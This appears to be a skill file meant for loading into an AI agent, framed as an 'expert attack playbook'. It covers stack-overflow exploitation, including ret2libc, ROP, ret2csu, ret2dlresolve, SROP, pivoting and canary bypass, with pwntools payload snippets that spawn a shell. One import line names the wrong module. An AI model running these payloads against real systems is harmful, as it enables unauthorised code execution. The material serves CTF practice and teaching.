SKILL: Stack Overflow & ROP — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.
0. RELATED ROUTING
- format-string-exploitation — leak canary/libc/PIE base via format string before triggering overflow
- binary-protection-bypass — systematic bypass of NX, ASLR, PIE, canary, RELRO
- arbitrary-write-to-rce — convert a write primitive (GOT, hooks, vtable) into code execution
- heap-exploitation — when the vulnerability is in heap rather than stack
Advanced Reference
Load ROP_ADVANCED_TECHNIQUES.md when you need:
- Blind ROP (BROP) methodology against remote services without binary
- ret2vdso for ASLR bypass on 32-bit systems
- Partial overwrite techniques for PIE bypass
- JOP / COP alternative code-reuse paradigms
1. STACK LAYOUT FUNDAMENTALS
High Address ┌─────────────────────┐ │ ... (caller) │ ├─────────────────────┤ │ Return Address │ ← overwrite target (EIP/RIP control) ├─────────────────────┤ │ Saved EBP/RBP │ ← overwrite for stack pivoting ├─────────────────────┤ │ Canary (if enabled)│ ├─────────────────────┤ │ Local Variables │ ← buffer starts here ├─────────────────────┤ │ ... │ └─────────────────────┘ Low Address
| Element | x86 (32-bit) | x86-64 (64-bit) |
|---|---|---|
| Return address size | 4 bytes | 8 bytes |
| Saved frame pointer | 4 bytes (EBP) | 8 bytes (RBP) |
| Canary size | 4 bytes | 8 bytes |
| Calling convention | args on stack | RDI, RSI, RDX, RCX, R8, R9 then stack |
| Syscall instruction | int 0x80 | syscall |
2. RETURN-TO-LIBC
When NX is enabled (stack not executable), redirect execution to libc functions.
Classic ret2libc (32-bit)
pythonpayload = b'A' * offset payload += p32(system_addr) payload += p32(exit_addr) # fake return address for system() payload += p32(binsh_addr) # arg1: "/bin/sh"
ret2libc (64-bit) — Need Gadgets for Arguments
pythonpop_rdi = elf_base + 0x401234 # pop rdi; ret payload = b'A' * offset payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr)
Libc Base Leak Methods
| Method | Technique | When |
|---|---|---|
| puts@plt(puts@GOT) | Leak resolved libc address | GOT already resolved, puts in PLT |
| write@plt(1, read@GOT, 8) | Leak via write syscall | write available |
| printf("%s", GOT_entry) | Leak via format string | printf controllable |
| Partial overwrite | Overwrite low bytes of return to reach leak gadget | PIE enabled, known last 12 bits |
python# Typical leak pattern rop = b'A' * offset rop += p64(pop_rdi) + p64(elf.got['puts']) rop += p64(elf.plt['puts']) rop += p64(main_addr) # return to main for second payload io.sendline(rop) leak = u64(io.recvline().strip().ljust(8, b'\x00')) libc_base = leak - libc.symbols['puts']
one_gadget — Single Gadget RCE
bash$ one_gadget /path/to/libc.so.6 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0, rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
Constraints must be satisfied — check register/stack state before using.
3. ROP CHAIN CONSTRUCTION
Tool Comparison
| Tool | Strength | Command |
|---|---|---|
| ROPgadget | Comprehensive search, chain generation | ROPgadget --binary elf --ropchain |
| ropper | Semantic search, JOP/COP support | ropper -f elf --search "pop rdi" |
| pwntools ROP | Automated chain building | rop = ROP(elf); rop.call('system', ['/bin/sh']) |
| xrop | Fast gadget search | xrop -r elf |
Essential Gadget Patterns
| Purpose | Gadget | Use Case |
|---|---|---|
| Set RDI (arg1) | pop rdi; ret | Most function calls |
| Set RSI (arg2) | pop rsi; pop r15; ret | Two-arg functions |
| Set RDX (arg3) | pop rdx; ret (rare) | Three-arg functions, use ret2csu |
| Syscall | syscall; ret | Direct syscall invocation |
| Stack pivot | leave; ret | Move RSP to controlled buffer |
| Align stack | ret (single ret gadget) | Fix 16-byte alignment for movaps |
x86-64 stack alignment: system() and other libc functions use movaps which requires RSP % 16 == 0. Insert an extra ret gadget before the call if alignment is off.
4. ret2csu — Universal 3-Argument Control
__libc_csu_init exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.
nasm; Gadget 1 (csu_init + 0x3a): pop registers pop rbx ; 0 pop rbp ; 1 pop r12 ; call target (function pointer address) pop r13 ; arg3 (rdx) pop r14 ; arg2 (rsi) pop r15 ; arg1 (edi = r15d) ret ; Gadget 2 (csu_init + 0x20): controlled call mov rdx, r13 mov rsi, r14 mov edi, r15d ; NOTE: only sets edi (32-bit), not full rdi call [r12 + rbx*8] add rbx, 1 cmp rbp, rbx jne <loop> ; falls through to gadget 1 again
Key constraints: r12 must point to a pointer to the target function (e.g., GOT entry), not the function address directly. Set rbx=0, rbp=1 to skip the loop.
5. ret2dlresolve
Forge ELF dynamic linking structures to resolve an arbitrary function (e.g., system) without a libc leak.
Attack Flow
- Control execution to call
_dl_runtime_resolve(link_map, reloc_offset) - Forge
Elf_Relat known writable address pointing to fakeElf_Sym - Forge
Elf_Symwithst_namepointing to fake string"system\x00" - Set
reloc_offsetso resolver uses forged structures - Argument (
/bin/sh) placed on stack or in known buffer
python# pwntools automation (recommended) from pwntools import * rop = ROP(elf) dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"]) rop.read(0, dlresolve.data_addr) rop.ret2dlresolve(dlresolve) io.sendline(rop.chain()) io.sendline(dlresolve.payload)
32-bit vs 64-bit Differences
| Aspect | 32-bit | 64-bit |
|---|---|---|
| Relocation type | Elf32_Rel (8 bytes) | Elf64_Rela (24 bytes) |
| Symbol table entry | Elf32_Sym (16 bytes) | Elf64_Sym (24 bytes) |
| Alignment | Relaxed | Strict (must satisfy ndx = (reloc_offset) / sizeof(Elf64_Rela), then sym = symtab[ndx]) |
| Version check | Usually skippable | VERSYM[sym_index] must be valid or 0 |
6. SROP — Sigreturn-Oriented Programming
Abuse the sigreturn syscall to set all registers at once from a fake Signal Frame on the stack.
pythonfrom pwn import * frame = SigreturnFrame() frame.rax = constants.SYS_execve # 59 frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret_addr frame.rsp = new_stack_addr # optional pivot payload = b'A' * offset payload += p64(pop_rax_ret) + p64(15) # SYS_rt_sigreturn = 15 payload += p64(syscall_ret) payload += bytes(frame)
When to use: limited gadgets, no pop rdx, static binary, or need to pivot stack to arbitrary address.
7. STACK PIVOTING
Move the stack pointer to an attacker-controlled buffer when overflow length is limited.
| Technique | Gadget | Precondition |
|---|---|---|
leave; ret | mov rsp, rbp; pop rbp; ret | Control saved RBP to point to fake stack |
xchg rsp, rax; ret | Swap RSP with RAX | Control RAX (via gadget chain) |
pop rsp; ret | Direct RSP control | Rare but powerful |
| SROP pivot | Set RSP in SigreturnFrame | Only need sigreturn gadget |
leave;ret Pivot Pattern
Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr] 1st leave: rsp = rbp → fake_rbp; pop rbp → *fake_rbp 1st ret: rip = leave_ret_addr 2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf) 2nd ret: rip = *(buf+8) → start of ROP chain in buf
8. CANARY BYPASS
| Technique | Condition | Method |
|---|---|---|
| Brute-force | fork() server (canary same in child) | Byte-by-byte (256 × 7 = 1792 attempts for 64-bit) |
| Format string leak | printf(user_input) available | %N$p to read canary from stack |
| Stack reading | One-byte overflow or partial read | Overwrite canary null byte, read via error/output |
| Thread canary | Overflow reaches TLS | Overwrite stack_guard in TLS (at fs:[0x28]) simultaneously |
| Information disclosure | Uninitialized stack variable leak | Canary included in leaked data |
9. TOOLS QUICK REFERENCE
bashchecksec ./binary # Show protections (NX, canary, PIE, RELRO) ROPgadget --binary ./binary --ropchain # Auto-generate ROP chain ropper -f ./binary --search "pop rdi" # Semantic gadget search one_gadget ./libc.so.6 # Find one-shot RCE gadgets pwn template ./binary --host x --port y # Generate pwntools exploit skeleton
10. DECISION TREE
Binary has stack overflow? ├── checksec: NX disabled? │ └── YES → shellcode on stack, ret to buffer (ret2shellcode) │ └── NO (NX enabled) → │ ├── Canary enabled? │ │ ├── YES → fork() server? → brute-force canary │ │ │ format string? → leak canary │ │ │ info leak? → read canary │ │ └── NO → proceed to ROP │ ├── ASLR/PIE enabled? │ │ ├── PIE → leak code base (partial overwrite last 12 bits, or info leak) │ │ ├── ASLR only → leak libc base (puts@GOT, write@GOT) │ │ └── Neither → addresses known, direct ROP │ ├── Can leak libc? │ │ ├── YES → ret2libc (system/execve) or one_gadget │ │ └── NO → ret2dlresolve (forge resolution) or SROP │ ├── Need 3+ args but no pop rdx? │ │ └── ret2csu or SROP │ ├── Overflow too short for full chain? │ │ └── Stack pivot (leave;ret, xchg rsp) │ ├── Static binary (no libc)? │ │ └── SROP + syscall chain (execve via sigreturn) │ └── Full RELRO? │ └── Cannot overwrite GOT → target __free_hook, __malloc_hook, │ or _IO_FILE vtable (see ../arbitrary-write-to-rce/)
